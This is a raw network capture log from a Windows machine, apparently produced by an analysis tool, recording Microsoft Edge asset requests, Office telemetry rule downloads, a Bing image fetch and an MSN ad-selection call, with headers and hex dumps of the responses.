2024-11-20 13:43:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:47 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134347Z-1777c6cb754gvvgfhC1TEBz4rg00000009tg0000000052gx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:47 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49907	13.107.246.38	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:47 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:48 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:47 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: cccbf3d8-c01e-0053-641b-3b7408000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T134347Z-1777c6cb754xrr98hC1TEB3kag00000009cg00000000mwt2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 13:43:48 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:47 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:48 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134348Z-185f5d8b95c96jn4hC1NYCbgp80000000ad0000000000k01 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:48 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49916	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:48 UTC	346	OUT	GET /th?id=OADD2.10239391389253_1KB1DRQJOMFT2TY1Q&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-20 13:43:48 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 645417 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: E0E866C375B44DB6A511950AA0C07D7D Ref B: EWR30EDGE0217 Ref C: 2024-11-20T13:43:48Z Date: Wed, 20 Nov 2024 13:43:48 GMT Connection: close
2024-11-20 13:43:48 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 16 d0 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 37 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 35 3a 32 31 20 30 38 3a 30 31 3a 32 37 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.7 (Windows)2024:05:21 08:01:278
2024-11-20 13:43:48 UTC	16384	IN	Data Raw: 49 70 af 1e ea ad 24 8f fc 35 ad 36 d2 33 9d 9b 4f a9 7d a3 59 60 da d5 cc ea d6 52 a4 8f 24 7f 2b 56 d2 ea 1f bb f9 aa bc d7 91 3f de ad 69 4a 51 66 35 a3 09 ad 4e 5d bc fa 63 24 b5 7e e9 d5 6e 9d a3 a8 64 9e bd 38 ca 4d 5e c7 99 25 04 f5 2b ae e5 8e 85 79 52 a7 df fd ea 63 7c d5 4a ef a1 9b 71 5b 31 ad 71 2b 47 42 ce cb f7 a9 b8 7a 28 e5 41 ce fb 8e f3 d9 a9 be 7b 2d 3b 63 79 74 c5 56 5f bd 4d 45 10 e6 df 52 65 9d bc bf 96 4a 7a dc 4b fc 55 5d 7f da a9 56 3f ee d1 ec a2 c1 56 9a ea 4c b7 2c d4 ff 00 b4 b7 f0 fd da 85 6d e9 eb 6f 51 ec 63 d8 a5 88 97 56 3f cc df 46 df 6a 16 de 95 63 61 56 a9 c5 23 39 55 93 ea 2a a3 54 6a 8c bf 7a ac 6d f6 a4 c5 3e 54 2f 6d 26 33 65 35 53 6d 4b 8a 5d be d4 72 a2 55 49 2e a3 3f da a5 fb df f2 d2 8d 8d ff 00 01 a9 63 89 9e Data Ascii: Ip$563O}Y`R$+V?iJQf5N]c$~nd8M^%+yRc\|Jq[1q+GBz(A{-;cytV_MEReJzKU]V?VL,moQcV?FjcaV#9U*Tjzm>T/m&3e5SmK]rUI.?c
2024-11-20 13:43:48 UTC	16384	IN	Data Raw: f3 3f e0 34 bd a2 45 46 9d cc 65 fb 54 bf 77 cc 6a 78 b3 be 7f f9 67 25 6f db c1 69 16 c9 3f 78 bb bf bf 27 ff 00 5a 98 d2 c0 b2 6d 59 24 68 ff 00 d8 fb d5 1e d3 b2 34 f6 2a 29 39 34 65 47 a4 5e 37 de 8f ff 00 1f ab 11 f8 7e e5 93 77 97 1a ff 00 c0 eb 4a 1b c8 13 e5 58 24 dd f7 76 7f 0d 36 6b d5 78 d3 74 71 ae df f6 ea 79 ea 3e 85 a8 51 4a f2 65 26 d0 67 8e 3d cd e5 ed ff 00 81 35 2b 68 d2 2f de 92 3f f7 37 d5 ab 7d 56 2f 9d 56 34 f9 7f b9 ff 00 d7 a9 a4 d4 2c d2 0f f6 9b ef fc 94 b9 aa f6 0e 5a 12 57 4c ae ba 04 be 5e e6 92 05 5f f7 e8 fe c2 72 fb 7c c8 e2 a9 1b 54 59 64 4f 32 38 d9 77 ff 00 b5 53 2d fd 9c 52 3e d8 e3 f9 7f 82 a7 9a b2 2e 30 c3 4b 6d 8a ab a2 a2 ff 00 cb d5 be df ef fc b4 ff 00 ec 65 ff 00 9e 91 ee 5f f8 0f f4 a8 6e b5 2d db d5 52 05 ff Data Ascii: ?4EFeTwjxg%oi?x'ZmY$h4*)94eG^7~wJX$v6kxtqy>QJe&g=5+h/?7}V/V4,ZWL^_r\|TYdO28wS-R>.0Kme_n-R
2024-11-20 13:43:48 UTC	16384	IN	Data Raw: 4c fb b6 6e ff 00 6a aa c8 2f 2e e3 fc 9d bf 79 17 fe fb ff 00 eb 52 b0 8b e5 5d f4 c6 9a d9 3e f4 ee b4 e5 7d c9 ba 37 ba f9 a8 d3 a1 2d 31 ca b1 8f bd ff 00 a1 aa d2 32 db fd e5 ff 00 d0 d6 93 63 6f ff 00 e2 92 4a 19 f6 6d 62 e8 bf f0 0a 36 16 e3 98 a9 4f 97 ce ff 00 be e9 91 c6 77 ee 68 1f fe 07 ba 9e c2 dc fc db d3 fd ff 00 9a 9b 85 74 dc 1e 1f f8 17 cd fd 68 1a 1f 88 bb c0 9f f8 f3 50 de 58 fb 96 6b ff 00 7c 7f f5 e9 8a 67 fb ff 00 6b dd fe ed 33 6b 1f bd f3 2f f7 b7 ad 1a 0b 97 cf f3 ff 00 80 59 db 97 dc d6 e9 ff 00 02 7a 62 f9 6d fc 09 b7 fd 84 ff 00 eb 53 1a 26 f9 70 fb 7f dd db 4e f2 1b f8 7c ca 05 a2 5b 87 ca 3a fc df dd f9 29 cc 32 bb b6 3d 32 38 b6 c9 fc 7f fa 0f f4 a1 91 43 fc ae 8a d4 81 d8 18 6d 7d bb f6 d3 e4 0c 7e ee fa 8f 79 1d 5d 19 7f Data Ascii: Lnj/.yR]>}7-12coJmb6OwhthPXk\|gk3k/YzbmS&pN\|[:)2=28Cm}~y]
2024-11-20 13:43:48 UTC	16384	IN	Data Raw: cb fe 14 5c 08 91 36 79 0f 27 fb cf f2 d2 b5 bc 6d c4 8f f3 7f b3 b7 ff 00 8a a1 62 8d 1f e5 f9 9b fd a7 ff 00 0a 64 dd 27 b9 1f 97 14 5c f9 28 ad fd dd 8a df ca 8f 34 7d d6 b6 7d bf ed 43 fe 14 f5 95 97 72 fd 8d 3f e0 29 ba a4 fb 45 e6 df 2f f8 5b f8 3e cb fe 34 59 0f 99 f5 5f 8f f9 15 fe d1 fc 1e 5a 2b 7f 76 59 a8 63 3b 7c b0 fd 93 73 7f 77 fc 29 eb 3c 0b f2 f9 ff 00 37 f7 37 b5 29 b8 cf dc 85 24 ff 00 6a 85 ea 3f 48 95 96 df 51 f3 be 7f 25 7f ed 87 f5 34 f8 a2 b8 45 db 27 d9 57 fe 06 ab 4b 21 b9 6f 95 2c 11 bf df 76 fe 6a 29 d8 bd 97 e5 58 51 5b fd a7 dd 52 92 be cc a7 29 35 ad bf 01 08 55 f9 6e 2e d3 6a ff 00 75 f7 51 18 b6 8b ee bf cb fc 4a 89 b6 a5 86 3b f9 3e f4 10 ff 00 e3 df cb 34 47 1b 43 f3 3b ff 00 e3 8b 45 9f 62 1c 96 aa ff 00 77 fc 30 7e e0 Data Ascii: \6y'mbd'\(4}}Cr?)E/[>4Y_Z+vYc;\|sw)<77)$j?HQ%4E'WK!o,vj)XQ[R)5Un.juQJ;>4GC;Ebw0~
2024-11-20 13:43:48 UTC	16384	IN	Data Raw: b0 d4 e7 2f b4 4b e4 c1 13 7c b7 88 bf ed 7f 15 3a 2b 65 7f 9d ae 7c cf f8 06 da 58 6d 27 91 3f 7d f6 a5 5f fa 6b b7 6f eb 4c 6d 3f 4f 28 cc e8 9f dd 66 49 d5 bf 95 37 7b 19 f3 2e b2 d7 d1 3f f2 1b 27 ee fe ed 9e df e1 f9 b6 af f8 54 32 49 b1 1a e1 be ca ab fc 4d 12 7c d5 63 cb 8e 1f f5 23 6c 5f ee 2f f3 c5 30 43 71 fe b5 2f 26 f9 bf e7 97 96 ab f9 d2 6b b6 e5 c5 ae ff 00 9f fc 11 90 85 3c da bf 99 bb e6 fd d6 d5 dd fd 69 8b 60 cf 27 cd 61 f3 37 dd 64 db 2d 58 04 c0 3f d4 f9 73 7f 7f ce dd bf f0 ef 4c 92 e2 e6 28 fe 74 9b 77 fb 1f 2a fe 94 95 ba 97 79 df dd 23 7b 7b b8 64 f9 a1 dd ff 00 03 db ff 00 a1 53 bf 7e 17 68 f9 77 7f 75 37 53 a1 bc 91 f6 ae c7 55 ff 00 6f ee ff 00 df 24 54 cd 04 bb 98 c3 77 32 b2 fd f5 de bb 7f fa d4 25 d8 97 29 2f 8a d7 2a ee bc Data Ascii: /K\|:+e\|Xm'?}_koLm?O(fI7{.?'T2IM\|c#l_/0Cq/&k<i`'a7d-X?sL(twy#{{dS~hwu7SUo$Tw2%)/
2024-11-20 13:43:48 UTC	16384	IN	Data Raw: 00 77 e5 f9 2a 19 af 6d c7 ca 61 b5 fe f7 fa fd df fd 6a 86 39 24 5f 96 48 7e d4 3f bd 2f ee bf 98 a7 ab dc c4 df ba fb 2c 69 ff 00 01 6f f1 14 fd a3 27 d9 45 3d bf 1f eb f2 11 a5 88 fc df 60 79 e3 ff 00 66 65 fe 94 dc c5 36 d8 cf 9f 1b 7f 75 f6 ff 00 ec b5 27 9b a9 ed e1 12 45 fe ea fc ab 51 c7 78 c1 7f d2 37 ee ff 00 65 e4 6a 9b d9 ab b2 f5 e9 f8 3b 90 cd 63 66 8f f3 c2 8a df df 95 d9 bf 95 36 58 20 48 7c c1 aa a5 ba ff 00 77 e5 5f eb 56 cd ee e8 d5 3c 99 bc bf ef c4 9f fd 71 49 88 dd 7f 79 6c ec ad fc 4f f3 54 f2 c5 bd 0b f6 95 34 e6 fd 3f 52 88 bb d2 9b ef 4d e6 32 ff 00 13 ee a9 16 4b 11 b9 8c fb 61 5f 99 f6 ee 56 f7 ef 56 64 83 c9 b7 6b 85 b3 46 86 3f bd fb 96 5f eb 5c cf c4 0d 67 47 9e 48 a0 d3 ed e1 79 17 fe 5e 61 fe e9 ed b7 a6 ea f1 33 cc c5 e0 Data Ascii: w*maj9$_H~?/,io'E=`yfe6u'EQx7ej;cf6X H\|w_V<qIylOT4?RM2Ka_VVdkF?_\gGHy^a3
2024-11-20 13:43:49 UTC	16067	IN	Data Raw: c9 fd cd bf ec b6 e6 6a 31 61 d3 ce b5 b5 dd f7 77 6d 6f d1 b1 fc ab f4 8d 0f 83 4e 4b 4d 49 bc c8 a3 3e 5c 97 d7 4a cd f7 12 5b 2f 9b fa 55 7b 8f b1 af fc bf 5d 31 5f 9b 6b 40 aa df ca a5 50 c9 1e e7 d4 92 48 bf ba 89 4a b2 0f f9 73 74 f9 7e 6f de cf ff 00 c4 d3 df 7f f3 fd 44 b4 7a 7e 9f e4 32 1b dd 32 5f 97 c9 9d 76 fd f6 68 37 52 ab e8 df 79 51 1b e6 f9 7f d0 59 76 7f c0 aa d5 c5 c5 df ca b3 59 a7 99 fd ef 9b f9 35 57 b8 fb 64 9f f1 e9 33 c6 df c5 e5 6e 55 a6 ee d7 77 e9 ff 00 04 98 d9 be a9 7a af f2 2c 7f a0 94 dd 6b 67 e7 ee a8 a4 7b 6b 77 dd f6 77 5d df ef 35 67 4d 6b a9 ae ef f4 cd cd fd d9 51 7f f4 2a 6a c5 ab ed 58 d9 3f f2 32 ed fe 54 bd a3 bf c2 69 1c 3c 7f 9d 7d ec d5 b8 91 9b e7 10 ee dd fd ed cb ff 00 b3 0a 82 4b 82 bf 2c e8 ab fe da 3b 2f Data Ascii: j1awmoNKMI>\J[/U{]1_k@PHJst~oDz~22_vh7RyQYvY5Wd3nUwz,kg{kww]5gMkQ*jX?2Ti<}K,;/
2024-11-20 13:43:49 UTC	16384	IN	Data Raw: b6 5f f6 b7 6e 6d c5 bd 0a fb 74 ad 49 2f 3c 0f 6b a6 ff 00 c2 49 63 e0 cd 37 ec ba a2 6d be b8 4d 3b 72 c3 22 74 f3 3f e7 9a b7 cb f3 ff 00 7b 9a ab 0f 89 34 5d 52 3f f8 96 ff 00 65 5a eb 56 fb 59 2d a5 79 99 93 2d 93 1f 9c be ad b7 1f d2 b4 a7 5a a4 e7 ed 21 4d c1 7d ff 00 2d 37 d4 ea a7 46 cf 99 b3 ce fc 37 66 ba 4e b9 36 9f a1 cf 75 79 67 67 0c 93 a5 8c df ba 97 cb 12 7f 03 b0 f9 f3 f3 37 dd f5 ad 9f 10 69 d3 d9 7c 32 bb ba fe c9 8e 5b 1b fb 76 be b4 86 c6 76 f2 a1 62 db 55 99 02 e3 86 4d e3 9e 3b 7d ea ef ee a3 b4 d3 7c 41 63 32 e8 b6 37 f7 da 94 32 2d f4 d7 09 b6 78 64 2b ba 4c f9 99 93 e6 f9 be 5f bd 5c cd e6 af f6 db 59 bc 3f 67 e4 69 76 f7 f6 2d 15 8c cf 3b 6e b2 9b ef 32 8f 97 e6 5f 97 b0 af 5f 07 5b 9a f2 8c 6e 9e ed da fa 5e fb 1a 7b 24 ba d8 Data Ascii: _nmtI/<kIc7mM;r"t?{4]R?eZVY-y-Z!M}-7F7fN6uygg7i\|2[vvbUM;}\|Ac272-xd+L_\Y?giv-;n2__[n^{$
2024-11-20 13:43:49 UTC	16384	IN	Data Raw: 8f e2 c5 c4 37 9f 6e b8 ba d5 bc 9f b0 cd 0d ae d5 85 8f 0a 40 4f 91 e2 1e f8 61 ef 5e b1 f0 bf e0 b3 41 a6 e9 32 6b 11 eb 9a cb 78 7d 24 d3 e5 b1 86 d7 ec b0 27 ef 37 6f de ec 24 71 e8 f8 fb d9 c6 6b df c1 43 eb 71 85 74 d7 9f 6d ba 7c f7 21 5a 9c 9d cd ff 00 8e 57 3a 1f 8b fc 00 9f 67 9e ea 2d 3e c3 cc 9d 2e d1 15 59 15 21 fe 25 c7 cd b9 7e 4e a3 9e 95 f3 c7 c3 79 74 1b 8f 1c 68 d7 93 68 b2 5c 32 ea d6 fb 12 6b ef 22 04 8f ef 16 2d b7 3f 26 dc f2 d5 ef de 2a f1 14 56 b6 fa 86 8f a3 cf a6 e9 bf 68 45 9e 18 6e 2c 7e d5 2d 94 dc 44 eb b1 be f7 dd fb bd f7 71 c5 79 0f 8d 3c 25 79 67 e2 67 b7 d2 63 82 55 bc 9b cf 44 b7 8f c8 54 cf f0 a2 39 dd c7 71 fc c5 7b 18 5c cb 08 ab 3a 5c fa ef 6f f8 3b 18 56 a7 2b a6 95 ce 8a 4f 8b 1a ad d7 ed 11 fd a1 e0 5f 0f 69 b7 Data Ascii: 7n@Oa^A2kx}$'7o$qkCqtm\|!ZW:g->.Y!%~Nythh\2k"-?&*VhEn,~-Dqy<%yggcUDT9q{\:\o;V+O_i

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:48 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:48 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134348Z-185f5d8b95cx9g8lhC1NYCtgvc00000002s0000000002cyb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:48 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:48 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:48 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134348Z-1777c6cb754n67brhC1TEBcp9c00000009qg00000000dx5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:48 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49918	20.75.60.91	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:48 UTC	1009	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0CB77821E0D96F30089A6D1CE1DE6E70&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=ac0a1e4de51d41f6bf0651cda6419276 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com 